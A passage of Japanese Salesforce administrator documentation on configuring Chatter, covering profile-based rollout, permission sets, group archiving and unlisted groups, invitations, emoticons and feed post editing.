すべての標準 Salesforce ライセンスでは、組織の全員が Chatter に無料でアクセスできます。Salesforce ではま
た、Chatter External、Chatter Free、および Chatter Only (Chatter Plus ともいう) という Chatter 固有のライセンスも提
供しています。

Chatter のプロファイルベースのロールアウトの概要
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Chatter のプロファイルベースのロールアウトでは、組織内のすべてのユーザで
はなく、一部のユーザに対して Chatter を有効にします。
Chatter のプロファイルベースのロールアウトでは、組織内のすべてのユーザで
はなく、一部のユーザが Chatter を使用できるようにします。Chatterのプロファイ
ルベースのロールアウトが組織で有効になると、必須ユーザプロファイルまた
は権限セットを持つユーザに対して Chatter をオンにできます。組織内のその他
すべてのユーザには Chatter へのアクセス権が付与されません。

例:  Chatter へのアクセス権を除外するプロファイルまたは権限セットを一部
のユーザに割り当てるとします。それらのユーザは引き続き Salesforce オブ
ジェクトにアクセスできますが、レコードフィードは参照できず、投稿を
行うこともできません。
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Chatter のプロファイルベースのロールアウトの準備
一部のユーザのみに Chatter をロールアウトする場合、カスタムユーザプロファイルおよび権限セットで
Chatter へのアクセスを制御できるように組織の準備を行います。
ユーザプロファイルを使用した Chatter アクセス権の制御
既存のカスタムユーザプロファイルを変更して、Chatter へのアクセスを許可または拒否します。
権限セットを使用した Chatter アクセス権の制御
既存の権限セットを変更したり、新しい権限セットを作成したりして、Chatter アクセス権を処理します。
プロファイルベースのロールアウトの考慮事項
Chatter のプロファイルベースのロールアウトを使用する組織では、ユーザプロファイル、権限セット、お
よび Chatter アクセス権のあるユーザとないユーザ間のやりとりに特定の制限が適用されます。

Chatter のプロファイルベースのロールアウトの準備

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

一部のユーザのみに Chatter をロールアウトする場合、カスタムユーザプロファ
イルおよび権限セットで Chatter へのアクセスを制御できるように組織の準備を
行います。
Chatter のプロファイルベースのロールアウトは、大きく分けて次の手順で構成
されています。

メモ: 開始する前に、組織全体で Chatter を無効にします ([Chatter 設定] に移
動して [有効化] を選択解除します)。

1. Salesforce は、Chatter 機能のプロファイルベースのロールアウトを組織で有効
にします。

2. Chatter にアクセスする必要のあるユーザを決定します。
3. 既存のカスタムユーザプロファイルおよび権限セットを確認して変更します。
4. カスタムユーザプロファイルまたは権限セットで「Chatter を有効化」権限が適切な設定になっていること

を確認します。
5. Chatter へのアクセスを許可または制限するには、関連付けられたプロファイルまたは権限セットをユーザ

に割り当てます。
6. 組織で Chatter を有効にします。

メモ: ステップ 6 は個別の最終ステップとして実行します。ステップ 6 を別のステップと組み合わせて
実行するか、順序どおりに実行しない場合、予測不可能な望ましくない結果になる可能性がありま
す。

関連トピック:

Chatter のプロファイルベースのロールアウトの概要
ユーザプロファイルを使用した Chatter アクセス権の制御
権限セットを使用した Chatter アクセス権の制御
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ユーザプロファイルを使用した Chatter アクセス権の制御

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Chatter を有効にする
• 「アプリケーションの

カスタマイズ」

既存のカスタムユーザプロファイルを変更して、Chatter へのアクセスを許可ま
たは拒否します。
Salesforce によって、組織での Chatter のプロファイルベースのロールアウトが有
効化されると、既存のユーザプロファイルと権限セットのすべてに [Chatter を有
効化] 権限が追加されます。この権限は、すべての標準プロファイルで自動的に
有効化されます。次のユーザレベル権限のいずれかが手動またはライセンスの
一部としてすでに有効化されていた場合、すべてのカスタムプロファイルでも
この権限は自動的に有効化されます。
• 「新規 Chatter グループの作成および所有」(ChatterOwnGroups)

• 「Chatter ファイルのコンテンツ配信の作成および共有」(ChatterFileLink)

• 「Chatter にユーザを招待」(ChatterInviteExternalUsers)

• 「Chatter メッセージおよびダイレクトメッセージの管理」
(ManageChatterMessages)

• 「Chatter のモデレート」(ModerateChatter)

• 「Chatter フィードのモデレート」(ModerateNetworkFeeds)

• 「ケースフィードを使用」(ViewCaseInteraction)

• 「すべてのデータの参照」(ViewAllData)

Chatterへのアクセス権を制御するには、目的の権限で既存のカスタムプロファイルを変更するか、必要に応じ
て、新規カスタムプロファイルを作成します。
1. Salesforce システム管理者としてログインします。
2. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。

3. 既存のカスタムユーザプロファイルごとに、次の手順を実行します。
a. [編集] をクリックします。
b. [システム管理者権限] セクションで、このプロファイルを持つユーザに Chatterアクセス権を付与するか

どうかに応じて、[Chatter を有効化] を選択または選択解除します。
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[Chatter を有効化] 権限は、組織で Chatter のプロファイルベースのロールアウトが有効化されている場合
にのみ使用できます。

c. 変更内容を保存します。

4. 必要に応じて、目的の権限で新しいカスタムユーザプロファイルを作成し、ユーザに割り当てます。

メモ: ユーザのユーザプロファイルで [Chatter を有効化] 権限を選択しても、そのユーザに対して Chatter が
自動的に有効化されることはありません。組織で実際に Chatter が有効化されるまで、ユーザは Chatter を
使用できません。

関連トピック:

Chatter のプロファイルベースのロールアウトの準備
権限セットを使用した Chatter アクセス権の制御
Chatter の設定
プロファイルベースのロールアウトの考慮事項
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権限セットを使用した Chatter アクセス権の制御

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Chatter を有効にする
• 「アプリケーションの

カスタマイズ」

既存の権限セットを変更したり、新しい権限セットを作成したりして、Chatter

アクセス権を処理します。
権限セットを使用して Chatter を有効化または無効化する場合は、次の点を考慮
してください。
• Chatter を有効化すると、権限セットはユーザプロファイル設定よりも優先さ

れます。Chatter が有効な権限セットを持つすべてのユーザには、そのユーザ
プロファイルで Chatter が有効でなくても、Chatter へのアクセス権がありま
す。

• Chatter を無効化すると、権限セットがユーザプロファイル設定より優先され
ることはありません。Chatter が有効なユーザプロファイルを持つすべての
ユーザには、その権限セットで Chatter が無効でも、Chatter へのアクセス権が
あります。ユーザが Chatter にアクセスできないようにするには、そのユーザ
のユーザプロファイルと権限セットの両方で Chatter を無効化します。

既存の権限セットの場合、対象となるユーザのサブセットに対する適切な必須
の Chatter 権限がそれらの権限セットに含まれていることを確認します。
1. 権限セットに移動します。
2. 既存のユーザレベルの権限セットごとに、次の手順を実行します。

a. [システム] セクションで、[システム権限] をクリックします。
b. [編集]をクリックして [Chatter を有効化]を選択します。この権限は、組織でChatterのプロファイルベー

スのロールアウトを有効にした後でのみ使用可能です。
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c. 変更内容を保存します。

3. 必要に応じて、目的の権限で新しい権限セットを作成し、ユーザに割り当てます。デフォルトでは、新し
い権限セットの権限はすべて無効化されています。新しい権限セットで次のChatter権限を有効にして、ユー
ザにこれらの権限を付与します。
• 「新規 Chatter グループの作成および所有」(ChatterOwnGroups)

• 「Chatter ファイルのコンテンツ配信の作成および共有」(ChatterFileLink)

• 「Chatter にユーザを招待」(ChatterInviteExternalUsers)

• 「Chatter メッセージおよびダイレクトメッセージの管理」(ManageChatterMessages)

• 「Chatter のモデレート」(ModerateChatter)

• 「Chatter フィードのモデレート」(ModerateNetworkFeeds)

• 「ケースフィードを使用」(ViewCaseInteraction)

• 「すべてのデータの参照」(ViewAllData)
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メモ: ユーザの権限セットで [Chatter を有効化] 権限を選択しても、そのユーザに対して Chatter が自動的に
有効化されることはありません。組織でChatterが有効化されるまで、ユーザはChatterを使用できません。

関連トピック:

Chatter のプロファイルベースのロールアウトの準備
ユーザプロファイルを使用した Chatter アクセス権の制御
Chatter の設定
プロファイルベースのロールアウトの考慮事項

プロファイルベースのロールアウトの考慮事項
Chatter のプロファイルベースのロールアウトを使用する組織では、ユーザプロファイル、権限セット、および
Chatter アクセス権のあるユーザとないユーザ間のやりとりに特定の制限が適用されます。
• [Chatter を有効化] オプションを使用できるのは、組織で Chatter のプロファイルベースのロールアウトが有

効化されている場合のみです。
• Chatter を有効化すると、権限セットはユーザプロファイル設定よりも優先されます。Chatter が有効な権限

セットを持つすべてのユーザには、そのユーザプロファイルで Chatter が有効でなくても、Chatter へのアク
セス権があります。

• Chatter を無効化すると、権限セットがユーザプロファイル設定より優先されることはありません。Chatter

が有効なユーザプロファイルを持つすべてのユーザには、その権限セットで Chatter が無効でも、Chatter へ
のアクセス権があります。ユーザが Chatter にアクセスできないようにするには、そのユーザのユーザプロ
ファイルと権限セットの両方で Chatter を無効化します。

• ユーザのユーザプロファイルまたは権限セットで「Chatter を有効化」権限を選択しても、組織で自動的に
Chatter が有効になることはありません。ユーザプロファイルおよび権限セットを変更した後に、組織で
Chatter を有効にします。

• 標準 Salesforce ユーザプロファイルでは、デフォルトで Chatter が有効化されています。これらの標準プロファ
イルで Chatter を無効化することはできません。

• コピーされた Chatter 外部ユーザプロファイルで「Chatter を有効化」権限を選択解除しないでください。ユー
ザにエラーメッセージが表示され、ログインできなくなります。

• コピーされた Chatter Free または Chatter モデレータプロファイルで「Chatter を有効化」権限を選択解除しな
いでください。エラーメッセージが表示され、プロファイルを保存できなくなります。

• 組織で Chatter のプロファイルベースのロールアウトと Chatter を有効化すると、連動する Chatter ユーザ権限
のセットも有効化されます。組織で Chatter が無効化されると、これらの権限も同時に無効化されます。た
だし、その後で Chatter が再び有効化されても、これらの権限が自動的に再有効化されることはなく、シス
テム管理者が明示的に有効化する必要があります。

• 組織で Chatter のプロファイルベースのロールアウトが有効化されると、標準プロファイルで Chatter が自動
的に有効化されます。カスタムプロファイルと権限セットの場合、次のユーザレベル権限のいずれかが手
動またはライセンスの一部としてすでに有効化されていた場合、Chatter は自動的に有効化されます。
– 「新規 Chatter グループの作成および所有」(ChatterOwnGroups)
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– 「Chatter Chatter ファイルへのリンクの作成および共有」(ChatterFileLink)

– 「Chatter にユーザを招待」(ChatterInviteExternalUsers)

– 「Chatter メッセージおよびダイレクトメッセージの管理」(ManageChatterMessages)

– 「Chatter のモデレート」(ModerateChatter)

– 「Chatter フィードのモデレート」(ModerateNetworkFeeds)

– 「ケースフィードを使用」(ViewCaseInteraction)

– 「すべてのデータの参照」(ViewAllData)

• Work.com が有効な組織では、Chatter へのアクセス権があるユーザは、Chatter へのアクセス権がないユーザ
に感謝できません。

• 組織で Chatter がすでに有効化されていて Chatter のプロファイルベースのロールアウトに切り替える場合
は、既存のすべてのカスタムプロファイルおよび権限セットで Chatter を有効にします。有効にしない場合、
それらのカスタムプロファイルおよび権限セットが割り当てられたユーザは Chatter にアクセスできなくな
ります。

• Chatter のプロファイルベースのロールアウトが有効になると、プロファイルまたは権限により Chatter を使
用できないユーザはグローバル検索も使用できなくなります。これらのユーザは 、高度な検索は使用でき
ます。

Chatter の暗号化 (パイロット)

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience、およ
び Salesforce1

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Spring '17 リリースでは、Chatter の Shield Platform Encryption が公開パイロットで実
施されています。Chatter の暗号化では、ネットワーク経由での送信時だけでな
く、保存時に機密データを暗号化できます。Chatter の暗号化は、本番環境への
準備はできていませんが、組織の Sandbox で安全に試すことができます。
暗号化は、すべての Chatter フィードに適用されます。これにより、Chatter デー
タを処理するために、プライバシーポリシー、規制要件、契約義務に確実に準
拠できます。
暗号化項目は、次のとおりです。
• フィード投稿
• 質問と回答
• リンク名
• コメント
• アンケートの質問 (アンケート選択肢は対象外)

暗号化項目は Salesforceユーザインターフェース、ビジネスプロセス、API のすべ
てで正常に機能します。ただし、暗号化項目は絞り込みができないなどの例外はあります。項目を暗号化して
も、既存の値はすぐに暗号化されません。値は操作した後でのみ暗号化されます。既存のデータの暗号化につ
いては、Salesforce にお問い合わせください。

メモ:  Chatter の暗号化は、特定の契約条件への同意が必要なパイロットプログラムを通じて一部のお客様
に提供されています。このプログラムに参加する方法については、Salesforce にお問い合わせください。パ
イロットプログラムは変更される可能性があり、参加は保証されません。Chatter の暗号化は、Salesforce が
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ドキュメント、プレスリリース、または公式声明で正式リリースを発表しない限り、正式リリースされ
ません。特定期間内の正規リリースあるいはリリースの有無は保証できません。現在正式にリリースさ
れている製品および機能に基づいて購入をご決定ください。Chatter の暗号化に関するフィードバックや提
案は、Success コミュニティの「Chatter Product」グループに投稿してください。

Chatter の暗号化を有効にすると、Spam IQ が無効になり、暗号化に付随するグローバル制限が Chatter に適用さ
れます。

関連トピック:

Shield Platform Encryption のトレードオフおよび制限事項
暗号化できる項目は?

Chatter のデータの暗号化 (ベータ)

Chatter の設定
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

Chatter は、Salesforce および Salesforce1 アプリケーションでデフォルトで有効になっ
ています。[設定] の [Chatter 設定] ページでさまざまな Chatter 機能を設定し、ユー
ザ向けに Chatter 環境をカスタマイズします。
• [Chatter 設定] ページにアクセスするには、[クイック検索] ボックスに

「Chatter」と入力し、[Chatter 設定] を選択します。
• 組織全体で Chatter を無効にするには、[Chatter 設定] セクションで Enable を

選択解除します。

Chatter グループ設定
グループアーカイブ、グループ内のレコード、リストに記載しないグループ
などのグループ機能を設定します。Chatter グループは、ユーザが情報を共有
し、更新を投稿し、質問を行う Chatter のメインコラボレーション環境です。
フィードでの顔文字の有効化
ユーザは文字の組み合わせを入力して、投稿やコメントに顔文字を追加できます。
顧客の招待
ユーザが自分が所有または管理する非公開グループに顧客を招待できるようにします。顧客とは、会社の
メールドメイン外のユーザです。顧客の Chatter アクセス権は限定されており、招待されたグループのみを
表示でき、それらのグループのメンバーとのみ会話できます。
同僚の招待
Salesforce ユーザが Salesforce ライセンスを持たない同僚を Chatter に招待できるようにします。招待されたユー
ザは、Chatter の人、プロファイル、グループ、ファイルにアクセスできますが、Salesforce ライセンスを取
得しない限りレコードデータを表示することはできません。
パブリッシャーのアクションの有効化
パブリッシャーにグローバルアクションを追加するには、まず [Chatter 設定] で [パブリッシャーのアクショ
ン] 機能を有効にする必要があります。アクションにより、機能が Chatter パブリッシャーに追加され、ユー
ザが Salesforce と Salesforce1 でより多くの機能を利用できるようになります。
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フィード投稿およびコメントの編集の概要
フィード投稿編集によって、ユーザは自分のフィード投稿を編集できます。レコード所有者は、所有する
レコードへの投稿も、投稿の作成者に関係なく編集できます。

関連トピック:

Salesforce Chatter

Chatter グループ設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

グループアーカイブ、グループ内のレコード、リストに記載しないグループな
どのグループ機能を設定します。Chatter グループは、ユーザが情報を共有し、
更新を投稿し、質問を行う Chatter のメインコラボレーション環境です。

Chatter グループアーカイブ
グループアーカイブは、組織でデフォルトで有効になっています。90 日間連
続してグループに新しいフィード投稿やコメントがない場合、そのグループ
は自動的にアーカイブされます。グループアーカイブが有効な場合、グルー
プのフィード活動が毎週確認されます。
Chatter グループでのレコードの有効化
グループのレコードはデフォルトで許可されます。グループパブリッシャー
をカスタマイズして [レコードの追加] アクションを含めることで、ユーザが
グループにレコードを追加できます。
リストに記載しない Chatter グループの有効化
組織でリストに記載しないグループを有効化して、ユーザが Chatter でより非公開性の高いコラボレーショ
ンができるようにします。
リストに記載しないグループの制限
組織でリストに記載しないグループの有効化を決定する前に、その制限を検討してください。

Chatter グループアーカイブ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

グループアーカイブは、組織でデフォルトで有効になっています。90 日間連続
してグループに新しいフィード投稿やコメントがない場合、そのグループは自
動的にアーカイブされます。グループアーカイブが有効な場合、グループの
フィード活動が毎週確認されます。
グループのメンションはフィード活動としてカウントされず、グループのアー
カイブの遅延が生じません。アーカイブ済みグループは、組織のグループの制
限 (30,000) にはカウントされますが、ユーザのグループメンバーシップの制限
(300) にはカウントされません。
グループ設定ページにはその他のグループアーカイブ設定があります。グルー
プの所有者およびマネージャは、そこでアーカイブまたは有効化したり、自動
アーカイブ設定を編集したりできます。複数のグループのアーカイブ設定を同
時に変更するには、Salesforce API を使用します。
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組織でグループアーカイブを使用しない場合は、[設定] でこの機能を無効にします。[クイック検索] に
「Chatter」と入力し、[Chatter 設定] を選択して [グループ] セクションで [グループアーカイブを許可] を選択
解除します。

メモ: グループの所有者およびマネージャが Salesforce1 アプリケーションおよび Lightning Experience でアー
カイブ、自動アーカイブの有効化または無効化を行えるようにするには、グループレイアウトをカスタ
マイズして必要な項目を追加します。

関連トピック:

グループレイアウト

Chatter グループでのレコードの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

グループのレコードはデフォルトで許可されます。グループパブリッシャーを
カスタマイズして [レコードの追加] アクションを含めることで、ユーザがグルー
プにレコードを追加できます。
グループパブリッシャーの [レコードの追加] アクションを使用して、ユーザは
取引先、取引先責任者、リード、商談、契約、キャンペーン、ケース、および
カスタムオブジェクトレコードをグループに追加できます。[レコードの追加] ア
クションはデフォルトでは使用できないため、このアクションを含めるように
グループパブリッシャーを設定する必要があります。

段階的な手順: ユーザに Chatter グループへのレコードの追加を許可する
オブジェクトレイアウトもカスタマイズしてレコード詳細ページに [グループ]

関連リストを追加することをお勧めします。グループとレコード間のリレーショ
ンをサポートする組織のすべての標準オブジェクトとカスタムオブジェクトの
レイアウトをカスタマイズします。[グループ] 関連リストには、レコードに関連
付けられているグループのリストが表示されます。

段階的な手順: [グループ] 関連リストをレコードに追加する
ユーザがグループにレコードを追加できないようにするには、[設定] の [クイック検索]ボックスに「Chatter」
と入力し、[Chatter 設定] を選択して [[グループ] 内のグループ内のレコードを許可] セクションを選択解除
します。この機能を無効にすると、グループ詳細ページの [グループレコード] リスト、およびグループパブ
リッシャーの [レコードの追加] アクションが非表示になります。

関連トピック:

Chatter グループレイアウトおよびパブリッシャーのカスタマイズ
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リストに記載しない Chatter グループの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

プロファイルの権限を有
効にする
• 「アプリケーションの

カスタマイズ」

組織でリストに記載しないグループを有効化して、ユーザが Chatter でより非公
開性の高いコラボレーションができるようにします。
リストに記載しないグループは、非公開グループと比較して、プライバシーが
さらに確保されます。グループメンバーおよび「リストに記載しないグループ
の管理」権限を持つユーザのみが、リストビュー、フィード、および検索結果
で、リストに記載しないグループにアクセスできます。デフォルトでは、組織
でリストに記載しないグループは有効化されていません。組織でリストに記載
しないグループを有効化する前に、この機能の制限を確認してください。
1. [設定] から、[クイック検索] ボックスに「Chatter」と入力し、[Chatter 設

定] を選択します。
2. [編集] をクリックします。
3. [リストに記載しないグループを有効化] を選択します。

組織でリストに記載しないグループを有効化することに関する重要な情報を
示すメッセージが表示されます。

4. 強調表示されたメッセージで、[私はリストに記載しないグループを有効化す
る必要があり、組織で Apex/Visualforce コードの更新が必要になる可能性があ
ることを理解しています] の横にあるチェックボックスをオンにします。

5. [保存] をクリックします。
どのユーザでもリストに記載しないグループを作成できます。非公開グループ
とは異なり、「すべてのデータの参照」権限や「すべてのデータの編集」権限があるユーザでも、メンバーで
ない限り、リストに記載しないグループの参照や更新はできません。非メンバーがリストに記載しないグルー
プの参照や変更をできるようにするには、そのユーザにプロファイルまたは権限セットで「リストに記載しな
いグループの管理」権限を割り当てます。

関連トピック:

リストに記載しないグループの制限
リストに記載しないグループの概要
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リストに記載しないグループの制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

組織でリストに記載しないグループの有効化を決定する前に、その制限を検討
してください。

システム管理者向け
• 「リストに記載しないグループの管理」権限を持つユーザのみが、メンバー

でなくても、リストに記載しないグループとそのファイルおよびフィードコ
ンテンツへのアクセスまたは変更ができます。

• 「すべてのデータの編集」権限を持つユーザは、グループマネージャでない
限り、リストに記載しないグループからフィードコンテンツを削除できませ
ん。

• 「データのエクスポート」権限を持つユーザは、「リストに記載しないグ
ループの管理」権限を持つかどうかに関係なく、すべてのChatterデータをエ
クスポートし、どのグループからエクスポートされた投稿およびコメントで
も表示できます。

• 「リストに記載しないグループの管理」権限を、プロファイルが Chatter 外部、大規模ポータル、大規模カ
スタマーポータルのユーザには付与できません。

• リストに記載しないグループは、ユーザのグループ制限にカウントされますが、ユーザのプロファイルペー
ジのグループリストには、リストを表示するユーザが、そのグループのメンバーである場合またはリスト
に記載しないグループを管理する権限を持っている場合以外は表示されません。リストに記載しないグルー
プが非表示の場合、グループリストの横に表示される件数は、リストを表示しているユーザの権限によっ
ては正確ではない可能性があります。

開発者向け
Apex コードはシステムモードで実行され、現在のユーザの権限は考慮されません。この制限により、Apex で
記述されたページに影響があります。
• グループが表示される Visualforce ページでは、リストに記載しないグループが、メンバーではないユーザに

表示される場合があります。
• システムモードではユーザの権限が考慮されないため、リストに記載しないグループが表示される Visualforce

ページにアクセスするすべてのユーザは、そのグループの所有者のように操作できます。
• AppExchange アプリケーションが Apex で記述されており、すべてのグループにアクセスする場合、そのアプ

リケーションではリストに記載しないグループがメンバーではないユーザに公開されます。
組織でリストに記載しないグループへのアクセスを制限および管理する手順は、次のとおりです。
• すべての Apex コードの SOQL クエリから、リストに記載しないグループを明示的に除外します。
• コードで権限セット、プロファイルレベルの権限、および共有チェックを使用して、リストに記載しない

グループへのアクセスをさらに制限します。
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• リストに記載しないグループの作成を監視および管理するには、CollaborationGroup オブジェクトに対して
Apex トリガを使用します。[設定] から、[クイック検索] ボックスに「グループトリガ」と入力し、[グルー
プトリガ] を選択します。

関連トピック:

リストに記載しない Chatter グループの有効化
リストに記載しないグループの概要

フィードでの顔文字の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Database.com Edition、お
よびDeveloper Edition

ユーザ権限

顔文字を有効化する
• 「アプリケーションの

カスタマイズ」

ユーザは文字の組み合わせを入力して、投稿やコメントに顔文字を追加できま
す。
顔文字は Salesforce1 ではサポートされていません。
1. [設定] から、[クイック検索]ボックスに「Chatter 設定」と入力し、[Chatter

設定] を選択します。
2. [フィード内の顔文字] セクションで、[絵文字を許可] を選択します。
Salesforce では、投稿およびコメントで次の文字の組み合わせがサポートされて
います。

顔文字文字の組み合わせ

 (笑顔)• :)

• :-)

 (舌を出す)• :P

• :-P

• :p

• :-p

 (しかめ面)• :(

• :-(

 (怒り)• >:(

• >:-(

 (泣き顔)• :((

• :'(

• :'-(
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顧客の招待

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

Salesforce CRM、承認、
Chatter メール通知、
Chatter への招待、顧客招
待は、Database.com
Edition では利用できませ
ん。

ユーザが自分が所有または管理する非公開グループに顧客を招待できるように
します。顧客とは、会社のメールドメイン外のユーザです。顧客の Chatter アク
セス権は限定されており、招待されたグループのみを表示でき、それらのグルー
プのメンバーとのみ会話できます。
[私のドメイン]、シングルサインオン、および IP 制限を使用して作成したカスタ
ムドメインは、顧客の招待ではサポートされていません。これらの機能が有効
になっている顧客の招待を許可するには、次のいずれかの方法をお勧めします。
• 組織のシングルサインオンページをカスタマイズして、ユーザを

https://yourDomain.my.salesforce.com/ にリダイレクトするリンク
を追加する。

• 顧客のシングルサインオンを有効にする。
顧客の招待はデフォルトで有効になっています。顧客の招待を無効にするには、
[設定] の [クイック検索] ボックスに「Chatter」と入力し、[Chatter 設定]

を選択して [Chatter 設定] セクションで Allow Customer Invitations を選択
解除します。この機能を無効にしても、顧客を許可する既存の顧客またはグルー
プは削除されません。

関連トピック:

同僚の招待
Chatter を使用して複数の Salesforce 組織に接続できますか?

同僚の招待

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

Salesforce CRM、承認、
Chatter メール通知、
Chatter への招待、顧客招
待は、Database.com
Edition では利用できませ
ん。

Salesforce ユーザが Salesforce ライセンスを持たない同僚を Chatter に招待できるよ
うにします。招待されたユーザは、Chatter の人、プロファイル、グループ、ファ
イルにアクセスできますが、Salesforce ライセンスを取得しない限りレコードデー
タを表示することはできません。
同僚の招待は、新しい Salesforce 組織では自動的に有効になります。組織に追加
された最初の Salesforce ユーザのメールドメインが、[会社メールドメイン] 項目
で会社のドメインとして使用されます。ユーザのドメインが yahoo.com や gmail.com

など無料のフリーパブリックメールプロバイダの場合は、有効化されません。
200 ドメインまで追加できます。会社のメールアドレスで使用されるドメインを
入力します。hotmail.com、yahoo.com、gmail.com などパブリックメールドメインは
入力しないことをお勧めします。招待されると、このようなドメインのメール
アドレスを持つユーザはすべて、Chatter に参加してユーザプロファイル、フィー
ドおよび Chatter グループを表示することができます。
同僚の招待を無効にするには、[設定] から、[クイック検索]ボックスにChatter

と入力し、[Chatter 設定] を選択して、[同僚を招待] セクションで Allow

Coworker Invitationsを選択解除します。この機能を選択解除すると、ユー
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ザは未処理の招待を承諾できません。同様に、メールドメインを削除した場合、ユーザはそのドメインから未
処理の招待を承諾できません。

関連トピック:

顧客の招待

パブリッシャーのアクションの有効化

エディション

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アクションを有効にする
• 「アプリケーションの

カスタマイズ」

パブリッシャーにグローバルアクションを追加するには、まず [Chatter 設定] で
[パブリッシャーのアクション] 機能を有効にする必要があります。アクションに
より、機能が Chatter パブリッシャーに追加され、ユーザが Salesforce と Salesforce1

でより多くの機能を利用できるようになります。
1. [設定] から、[クイック検索]ボックスに「Chatter 設定」と入力し、[Chatter

設定] を選択します。
2. [編集] をクリックします。
3. [パブリッシャーのアクション] セクションで、[パブリッシャーのアクション

を有効化] を選択します。
4. 変更内容を保存します。

関連トピック:

パブリッシャーアクションおよびレイアウト

フィード投稿およびコメントの編集の概要
フィード投稿編集によって、ユーザは自分のフィード投稿を編集できます。レコード所有者は、所有するレ
コードへの投稿も、投稿の作成者に関係なく編集できます。
[Chatter 設定] オプションおよび 2 つのユーザ権限を使用して、フィード投稿の編集機能を制御します。
[Chatter 設定] の [ユーザに投稿とコメントの編集を許可] オプションによって、組織のフィード投稿編集機能が
有効化または無効化されます。既存組織と新規組織では、このオプションがデフォルトで有効になっていま
す。標準プロファイルに割り当てられたユーザはすべて、自分の投稿とコメントをすぐに編集できます。ただ
し、Chatter Free ユーザ、Chatter 外部ユーザ、カスタマーポータルユーザは除きます。カスタムプロファイルが
割り当てられているユーザの場合は、システム管理者がユーザのカスタムプロファイルまたは権限セットで権
限を具体的に有効にする必要があります。
「自分の投稿を編集」権限があるユーザは、自分の投稿を編集できます。この権限は標準プロファイルで使用
可能で、自動的に有効化されています。ただし、Chatter 外部ユーザ、Chatter Free ユーザ、カスタマーポータル
ユーザのプロファイルは除きます。Chatter 外部ユーザ、Chatter Free ユーザ、またはカスタマーポータルユーザ
に自分の投稿の編集を許可するには、プロファイルをコピーし、コピーしたプロファイルで「自分の投稿を編
集」権限を有効にします。次に、コピーしたプロファイルをユーザに割り当てます。
「自分の所有レコードへの投稿を編集」権限があるユーザは、所有するレコードへの投稿とコメントを編集で
きます。これには、他のユーザによる投稿とコメントも含まれます。たとえば、グループ所有者またはマネー
ジャはグループのフィードへのすべての投稿を編集できます。特定のレコードタイプのマネージャはそのレ
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コードへのすべての投稿を編集できます。この権限は標準プロファイルとカスタムプロファイルで使用できま
すが、デフォルトでは無効化されています。
次の表には、権限とそのデフォルト設定がまとめられています。

デフォルト設定使用可能なエディション説明ユーザ権限

すべての新規および既存
の組織で有効化されてい
ます。

標準プロファイル (以下を除く)ユーザが自分の投稿を
編集できます。

自分の投稿を編集
• Chatter 外部ユーザ
• Chatter Free ユーザ
• 大規模カスタマーポータル

ユーザ
• パートナーコミュニティユー

ザプロファイル

すべての新規および既存
の組織で無効化されてい
ます。

カスタムプロファイル

すべての新規および既存
の組織で無効化されてい

カスタムプロファイルレコード所有者が自分
の投稿と、グループお

自分の所有レコードへ
の投稿を編集

ます。ただし、Chatter モよびレコードの詳細
デレータ、コミュニティページで他のユーザが
モデレータ、「すべての行った投稿を編集でき

ます。 データの編集」権限を持
つユーザは、常にすべて
の投稿とコメントを編集
できます。

[Chatter 設定] の [ユーザに投稿とコメントの編集を許可] オプションは、デフォルトで有効になっています。必
要な権限を持つユーザの場合、[編集] オプションを投稿、コメント、質問、回答のドロップダウンメニューか
ら選択できます。選択すると別の [編集] ウィンドウが開き、そこでユーザがテキストを変更できます。
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ユーザが投稿の編集済みバージョンを保存すると、[編集済み] タイムスタンプが表示されて、元の投稿が変更
されたことを示します。

ユーザが投稿またはコメントを編集して新しい人またはグループにメンションした場合、それらの人とグルー
プにメール通知が送信されます。元の投稿またはコメントでメンションされていた人とグループには、新しい
メール通知は送信されません。編集済み投稿またはコメントのメール通知には、[編集済み] タイムスタンプが
表示されます。
コミュニティユーザの場合、フィード投稿編集は、コミュニティが Salesforce タブ + Visualforce、またはカスタ
